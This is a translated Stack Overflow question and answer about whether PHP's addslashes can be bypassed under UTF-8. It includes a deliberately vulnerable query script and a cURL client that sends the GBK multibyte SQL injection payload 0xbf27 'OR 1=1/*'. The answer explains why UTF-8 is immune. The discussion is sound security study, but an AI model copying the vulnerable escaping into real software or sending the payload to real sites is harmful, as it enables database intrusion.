使用utf和单引号时可以绕过addslashes吗?

ase*_*ues 5 php security addslashes

我正在尝试验证在脚本上使用addslashes是否可被利用,众所周知,不应该使用addslashes,但是问题是,它总是可被利用吗?

我发现了大量关于在字符集不是 utf8(使用双字节转换)以及变量被“”括起来的两种情况下滥用 addslashes 的信息

那么,当上述情况都没有发生时,是否可以绕过addslashes?这是我一直在测试的代码:

带有数据库转储的 data.sql 文件:

CREATE TABLE IF NOT EXISTS `test` (
  `user` varchar(25) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

INSERT INTO `test` (`user`) VALUES
('admin'),
('user');

mysql -u test -ptestpw test < data.sql
Run Code Online (Sandbox Code Playgroud)

index.php 放置在服务器中

<?php
  //Server script the receives content via post
  mysql_connect("localhost","test","testpw");
  mysql_select_db("test");
  $user=addslashes($_POST['username']);
  $query="SELECT * FROM test WHERE user='".$user."'";
  $q=mysql_query($query) or die (mysql_error());
  $num_rows = mysql_num_rows($q);
  echo "Listed rows: $num_rows";
  if ($num_rows > 0) {
        $a=mysql_fetch_array($q);
        print_r($a);
  }
?>
Run Code Online (Sandbox Code Playgroud)

query.php 放置在客户端计算机上

<?php
//Client script crafting the special url
$url     = "http://example.com/index.php";
$ch      = curl_init();
curl_setopt( $ch, CURLOPT_URL,            $url     );
curl_setopt( $ch, CURLOPT_POST,           TRUE     );
curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" .
                                          chr(0xbf) . chr(0x27) .
                                          "OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
Run Code Online (Sandbox Code Playgroud)

一些参考:

  • 这里(使用 multibye 字符串绕过,非 utf db)
  • 这里(使用多字节字符串,非utf db绕过)
  • 这里(使用“”括起来的 var 绕过)

Gum*_*mbo 5

addslashes通过在前面添加 a对字节0x00(NUL 字节)、0x22 ( ")、0x27 ( ') 和 0x5c ( \)进行转义\。有记录的案例addslashes在 MySQL 上使用 GBK 字符编码失败

任何存在以 0x5c 结尾的有效多字节字符的字符编码都可能发生这种类型的攻击,因为addslashes()可以诱骗创建有效的多字节字符而不是转义后面的单引号。UTF-8 不符合此描述。

现在您已经有了答案:由于 UTF-8 没有以 0x5c 结尾的有效编码,因此它不易受到此攻击。

但是,由于您的脚本似乎依赖于启用magic_quotes_gpc(该功能已从 PHP 5.3.0 起弃用并从 PHP 5.4.0 起删除),因此您的脚本在magic_quotes_gpc禁用或不可用的环境中容易受到攻击。